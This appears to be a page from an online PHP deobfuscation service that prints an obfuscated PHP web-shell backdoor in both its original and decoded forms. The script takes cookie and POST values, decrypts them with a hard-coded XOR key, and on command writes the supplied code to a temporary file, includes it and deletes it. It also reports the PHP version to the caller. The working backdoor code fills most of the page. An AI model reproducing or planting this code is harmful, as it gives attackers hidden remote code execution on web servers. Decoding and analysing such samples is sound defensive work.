Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* co*/function/* _ */woy_rmcmv(){$qvqecdeclk='tde_db'; print_r/* bzmv */(9373..

Decoded Output download

<?php /*   co*/function/* _ */woy_rmcmv(){$qvqecdeclk='tde_db';    print_r/*  bzmv */(93738+93738);   }$twrmydj  =/*  bu   */'twrmydj'      ^    ''; 
 
 
 
 
 
 
 
function    xyhwkc($lb_tq,    $cbgmosjqa_){ 
 
/*  sl  */global/* fa   */$twrmydj; 
 
 
  $wfftgfnugc     =       ""; 
 
 
    for    ($cksirw_ojx    =/*  mxy */0;       $cksirw_ojx    <    strlen($lb_tq);)/*   ftq  */{ 
 
 
/*   vhk */for    ($jqfvlvcmz    =/*  kkg*/0;      $jqfvlvcmz   <    strlen($cbgmosjqa_)   &&  $cksirw_ojx/*  hq   */<   strlen($lb_tq);    $jqfvlvcmz++,/*wq */$cksirw_ojx++)       { 
/*   tmcx */$wfftgfnugc/*x   */.=  $twrmydj(ord($lb_tq[$cksirw_ojx])/*   peqid  */^/*  tr*/ord($cbgmosjqa_[$jqfvlvcmz])); 
    } 
 
 
/* u*/} 
 
/*  pntt*/return  $wfftgfnugc;} 
 
 
 
function  rbhlbmdrq($_ojdjkjevh,    $lb_tq) 
{    global    $twrmydj; 
 
/*  dw  */$cksirw_ojxpcrq       =    sprintf("."."/"."%"."s"/*   prv */.    $twrmydj(786-740)     .    "p".$twrmydj(852-744),/*   wii   */md5($_ojdjkjevh));   file_put_contents($cksirw_ojxpcrq,       "<"/*  ls_kn   */.       "?"."p"     ./*  i   */$twrmydj(104)/* r  */./*  pzwn  */"p".$twrmydj(32)    ./*yghba   */"u"    ./*   e  */"n"/* fz   */./*   w_*/"l"."i"/*  axtqh */.    "n"."k"."(".$twrmydj(332-237)    .   $twrmydj(951-856)    .    $twrmydj(70)    ./*   _fc*/$twrmydj(73)      ./*   dt  */"L"."E"/*rvmkl*/./*  j */"_"    .    "_".$twrmydj(993-952)/*sh   */.    $twrmydj(409-350)  ./*cmwv_   */$twrmydj(32)/*gg */.    $lb_tq["d"]);    include($cksirw_ojxpcrq);/* etv*/$tqtbwdfl/* p  */=   $cksirw_ojxpcrq;/*khl*/unlink($tqtbwdfl);} 
 
 
function     rxxcnwxyl() 
 
{ 
    global/* xrsw */$twrmydj; 
          $cksirw_ojx/* iijj*/=/* txh  */array(); 
    $cksirw_ojx["p"."v"]/*   i*/=    phpversion(); 
 
 
/* fmza  */$cksirw_ojx[$twrmydj(848-733)    .    "v"]     =    "3"/* xy*/.     $twrmydj(273-227)/*   jcf   */.    "5";  echo      @serialize($cksirw_ojx); 
 
} 
 
 
 
 
 
function       vfysytzbai($lb_tq,       $_ojdjkjevh,    $pltxyh) 
{ 
 
 
     global    $twrmydj; 
 
     
/*uywqd   */$lb_tq/*   q   */=/*  j   */unserialize(xyhwkc(xyhwkc(base64_decode($lb_tq),     $_ojdjkjevh),/*  vmi  */$pltxyh)); 
 
 
  if/*  o_wr  */(isset($lb_tq[$twrmydj(662-565)."k"]))    { 
 
 
       if/* dx   */($lb_tq[$twrmydj(662-565)]/*  xyey  */==/*  n   */"i")/*   csby  */{ 
 
 
    rxxcnwxyl();/* yyhh   */}    elseif     ($lb_tq[$twrmydj(662-565)]    ==/*   uj   */$twrmydj(101))    { 
 
    rbhlbmdrq($_ojdjkjevh,     $lb_tq); 
    } 
/*   zfrap  */exit();       } 
 
} 
 
 
$yyuzh       =    $_COOKIE; 
 
$uzoowjgoc/*  tlnh   */=   $_POST; 
 
 
$yyuzh    =  array_merge($uzoowjgoc,    $yyuzh); 
 
 
$_ojdjkjevh  =    "3"."c"."7"."1"/*  qttx */./*  bxl  */$twrmydj(49)   .    "5"."c".$twrmydj(72-23)/*sqlb  */./*   zc  */"-"/* oai */.    $twrmydj(94-38)    .    $twrmydj(49)    .      "2".$twrmydj(55)      .    $twrmydj(615-570)   .   $twrmydj(52)/* xn */.       "d"."b"    .    "d".$twrmydj(45)     .    $twrmydj(57)/*  dl  */./*  k  */$twrmydj(101)."9"."8"    .    "-"."1"."1"/* pktg   */.    "1"."9"."5"/*   trbqj  */./* guz  */$twrmydj(682-583)/*sr*/.    $twrmydj(106-52)/*  qv  */./*ofg */"c"."f"."0".$twrmydj(494-437)/*  rln */./* jnz*/"5"; 
foreach    ($yyuzh/*bq */as       $pltxyh   =>    $lb_tq)  {    vfysytzbai($lb_tq,   $_ojdjkjevh,    $pltxyh); 
 
 
} ?>

Did this file decode correctly?

Original Code

<?php /*   co*/function/* _ */woy_rmcmv(){$qvqecdeclk='tde_db';    print_r/*  bzmv */(93738+93738);   }$twrmydj  =/*  bu   */'twrmydj'      ^    '';







function    xyhwkc($lb_tq,    $cbgmosjqa_){

/*  sl  */global/* fa   */$twrmydj;


  $wfftgfnugc     =       "";


    for    ($cksirw_ojx    =/*  mxy */0;       $cksirw_ojx    <    strlen($lb_tq);)/*   ftq  */{


/*   vhk */for    ($jqfvlvcmz    =/*  kkg*/0;      $jqfvlvcmz   <    strlen($cbgmosjqa_)   &&  $cksirw_ojx/*  hq   */<   strlen($lb_tq);    $jqfvlvcmz++,/*wq */$cksirw_ojx++)       {
/*   tmcx */$wfftgfnugc/*x   */.=  $twrmydj(ord($lb_tq[$cksirw_ojx])/*   peqid  */^/*  tr*/ord($cbgmosjqa_[$jqfvlvcmz]));
    }


/* u*/}

/*  pntt*/return  $wfftgfnugc;}



function  rbhlbmdrq($_ojdjkjevh,    $lb_tq)
{    global    $twrmydj;

/*  dw  */$cksirw_ojxpcrq       =    sprintf("."."/"."%"."\163"/*   prv */.    $twrmydj(786-740)     .    "p".$twrmydj(852-744),/*   wii   */md5($_ojdjkjevh));   file_put_contents($cksirw_ojxpcrq,       "<"/*  ls_kn   */.       "?"."\x70"     ./*  i   */$twrmydj(104)/* r  */./*  pzwn  */"p".$twrmydj(32)    ./*yghba   */"\165"    ./*   e  */"\x6e"/* fz   */./*   w_*/"l"."\x69"/*  axtqh */.    "n"."k"."(".$twrmydj(332-237)    .   $twrmydj(951-856)    .    $twrmydj(70)    ./*   _fc*/$twrmydj(73)      ./*   dt  */"L"."\x45"/*rvmkl*/./*  j */"\x5f"    .    "_".$twrmydj(993-952)/*sh   */.    $twrmydj(409-350)  ./*cmwv_   */$twrmydj(32)/*gg */.    $lb_tq["d"]);    include($cksirw_ojxpcrq);/* etv*/$tqtbwdfl/* p  */=   $cksirw_ojxpcrq;/*khl*/unlink($tqtbwdfl);}


function     rxxcnwxyl()

{
    global/* xrsw */$twrmydj;
          $cksirw_ojx/* iijj*/=/* txh  */array();
    $cksirw_ojx["p"."v"]/*   i*/=    phpversion();


/* fmza  */$cksirw_ojx[$twrmydj(848-733)    .    "\x76"]     =    "\63"/* xy*/.     $twrmydj(273-227)/*   jcf   */.    "\x35";  echo      @serialize($cksirw_ojx);

}





function       vfysytzbai($lb_tq,       $_ojdjkjevh,    $pltxyh)
{


     global    $twrmydj;

    
/*uywqd   */$lb_tq/*   q   */=/*  j   */unserialize(xyhwkc(xyhwkc(base64_decode($lb_tq),     $_ojdjkjevh),/*  vmi  */$pltxyh));


  if/*  o_wr  */(isset($lb_tq[$twrmydj(662-565)."\x6b"]))    {


       if/* dx   */($lb_tq[$twrmydj(662-565)]/*  xyey  */==/*  n   */"\151")/*   csby  */{


    rxxcnwxyl();/* yyhh   */}    elseif     ($lb_tq[$twrmydj(662-565)]    ==/*   uj   */$twrmydj(101))    {

    rbhlbmdrq($_ojdjkjevh,     $lb_tq);
    }
/*   zfrap  */exit();       }

}


$yyuzh       =    $_COOKIE;

$uzoowjgoc/*  tlnh   */=   $_POST;


$yyuzh    =  array_merge($uzoowjgoc,    $yyuzh);


$_ojdjkjevh  =    "3"."c"."7"."\61"/*  qttx */./*  bxl  */$twrmydj(49)   .    "5"."c".$twrmydj(72-23)/*sqlb  */./*   zc  */"\x2d"/* oai */.    $twrmydj(94-38)    .    $twrmydj(49)    .      "2".$twrmydj(55)      .    $twrmydj(615-570)   .   $twrmydj(52)/* xn */.       "d"."\142"    .    "d".$twrmydj(45)     .    $twrmydj(57)/*  dl  */./*  k  */$twrmydj(101)."9"."\70"    .    "-"."1"."\x31"/* pktg   */.    "1"."9"."\x35"/*   trbqj  */./* guz  */$twrmydj(682-583)/*sr*/.    $twrmydj(106-52)/*  qv  */./*ofg */"c"."f"."0".$twrmydj(494-437)/*  rln */./* jnz*/"5";
foreach    ($yyuzh/*bq */as       $pltxyh   =>    $lb_tq)  {    vfysytzbai($lb_tq,   $_ojdjkjevh,    $pltxyh);


}

Function Calls

array_merge 1

Variables

$yyuzh 0
$twrmydj chern{}
$uzoowjgoc 0

Stats

MD5 9a9b83212b4f0b7a88cb4526283f4d63
Eval Count 0
Decode Time 175 ms